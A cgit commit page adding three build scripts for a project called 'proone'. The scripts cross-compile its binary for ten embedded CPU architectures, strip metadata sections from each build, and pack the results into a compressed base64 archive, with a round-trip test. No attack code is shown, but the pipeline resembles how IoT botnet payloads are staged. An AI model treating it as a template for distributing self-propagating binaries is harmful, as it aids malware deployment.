aboutsummaryrefslogtreecommitdiff
path: root/scripts
diff options
context:
space:
mode:
authorDavid Timber <david@lyset.snart.me>2019-12-27 18:22:18 +1100
committerDavid Timber <david@lyset.snart.me>2019-12-27 18:22:18 +1100
commit5f341e4c20767f08165776bdf559b096dc8996e9 (patch)
tree440052148fcda127898dad2ba3e6a6458482dba6 /scripts
initial commit
Diffstat (limited to 'scripts')
-rwxr-xr-xscripts/build-all.sh87
-rwxr-xr-xscripts/test_bin-archive.sh63
-rwxr-xr-xscripts/xcomp.sh8
3 files changed, 158 insertions, 0 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
new file mode 100755
index 0000000..40f0b85
--- /dev/null
+++ b/scripts/build-all.sh
@@ -0,0 +1,87 @@
+#!/bin/bash
+ARCH_ARR=(
+ "armv4t"
+ "armv7"
+ "i586"
+ "m68k"
+ "mips"
+ "mpsl"
+ "ppc"
+ "sh4"
+ "spc"
+ "x86_64"
+)
+TOOLCHAIN_ARR=(
+ "armv4t"
+ "armv7"
+ "i586"
+ "m68k"
+ "mips"
+ "mpsl"
+ "ppc"
+ "sh4"
+ "spc"
+ "x86_64"
+)
+HOST_ARR=(
+ "arm-buildroot-linux-uclibcgnueabi"
+ "arm-buildroot-linux-uclibcgnueabi"
+ "i586-buildroot-linux-uclibc"
+ "m68k-buildroot-linux-uclibc"
+ "mips-buildroot-linux-uclibc"
+ "mipsel-buildroot-linux-uclibc"
+ "powerpc-buildroot-linux-uclibc"
+ "sh4-buildroot-linux-uclibc"
+ "sparc-buildroot-linux-uclibc"
+ "x86_64-buildroot-linux-uclibc"
+)
+ARR_SIZE="${#ARCH_ARR[@]}"
+if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; then
+ echo "Config error: arrays" >&2
+ exit 2
+fi
+
+PROONE_PREFIX="builds"
+PROONE_BIN="$PROONE_PREFIX/bin"
+PROONE_TOOLS="$PROONE_PREFIX/tools"
+export PROONE_BIN_PREFIX="$PROONE_BIN/proone"
+PROONE_PACKER="$PROONE_TOOLS/proone-packer"
+PROONE_UNPACKER="$PROONE_TOOLS/proone-unpacker"
+PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive.zz.base64"
+
+rm -rf "$PROONE_PREFIX" && mkdir "$PROONE_PREFIX" "$PROONE_BIN" "$PROONE_TOOLS"
+if [ $? -ne 0 ] ; then
+ exit $?
+fi
+
+make distclean
+
+# native build for tools
+./configure && make -j$(nproc) && cp -a src/proone-packer "$PROONE_PACKER" && cp -a src/proone-unpacker "$PROONE_UNPACKER" && make distclean
+if [ $? -ne 0 ]; then
+ exit $?
+fi
+
+# cross-compile targets
+for (( i = 0; i < ARR_SIZE; i += 1 )); do
+ PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" bash-xcomp-uclibc "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh"
+ if [ $? -ne 0 ]; then
+ exit $?
+ fi
+done
+
+# pack
+"$PROONE_PACKER" "$PROONE_BIN_PREFIX."* | pigz -z - | base64 > "$PROONE_BIN_ARCHIVE"
+if [ $? -ne 0 ]; then
+ exit $?
+fi
+
+# archive test
+
+
+# size report
+total_bin_size=$(cat "$PROONE_BIN_PREFIX."* | wc -c)
+bin_archive_size=$(wc -c "$PROONE_BIN_ARCHIVE" | awk '{print $1;}')
+echo "print(\"archive/bin = $bin_archive_size / $total_bin_size (\" + str($bin_archive_size / $total_bin_size * 100) + \"%)\")" | python3
+
+exit 0
diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh
new file mode 100755
index 0000000..c4e1d93
--- /dev/null
+++ b/scripts/test_bin-archive.sh
@@ -0,0 +1,63 @@
+#!/bin/bash
+RND_BLOCK_SIZE=4096
+if [ -z "$RND_BIN_CNT_MIN" ]; then
+ RND_BIN_CNT_MIN=1
+fi
+if [ -z "$RND_BIN_CNT_MAX" ]; then
+ RND_BIN_CNT_MAX=20
+fi
+TEST_DIR="pack_test"
+BIN_PACK_DIR="$TEST_DIR/pack"
+BIN_UNPACK_DIR="$TEST_DIR/unpack"
+BIN_PREFIX="bin"
+BIN_ARCHIVE_PREFIX="bin_archive"
+SIZE_LOG="pack_test-size.log"
+if [ -z "$LISTARCH" ]; then
+ LISTARCH="../src/proone-list-arch"
+fi
+if [ -z "$PACKER" ]; then
+ PACKER="../src/proone-packer"
+fi
+if [ -z "$UNPACKER" ]; then
+ UNPACKER="../src/proone-unpacker"
+fi
+ARCH_ARR=(`"$LISTARCH"`)
+
+if [ -d "$TEST_DIR" ]; then
+ rm -rf "$TEST_DIR/"*
+else
+ mkdir "$TEST_DIR"
+fi
+mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR"
+if [ $? -ne 0 ]; then
+ exit 2
+fi
+
+for arch in ${ARCH_ARR[@]}; do
+ bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\
+ dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt
+ if [ $? -ne 0 ]; then
+ exit 2
+ fi
+done
+
+"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64"
+if [ $? -ne 0 ]; then
+ exit 2;
+fi
+
+"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64"
+if [ $? -ne 0 ]; then
+ exit 2;
+fi
+
+for arch in ${ARCH_ARR[@]}; do
+ diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch"
+ if [ $? -ne 0 ]; then
+ exit 2;
+ fi
+done
+
+echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" | awk '{print $1;}') >> "$SIZE_LOG"
+
+exit 0
diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh
new file mode 100755
index 0000000..2ff24a5
--- /dev/null
+++ b/scripts/xcomp.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+OUT="$PROONE_BIN_PREFIX.$PROONE_BIN_ARCH"
+
+./configure --host="$PROONE_HOST" &&\
+ make -j$(nproc) &&\
+ cp -a src/proone "$OUT" &&\
+ "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$OUT" &&\
+ make distclean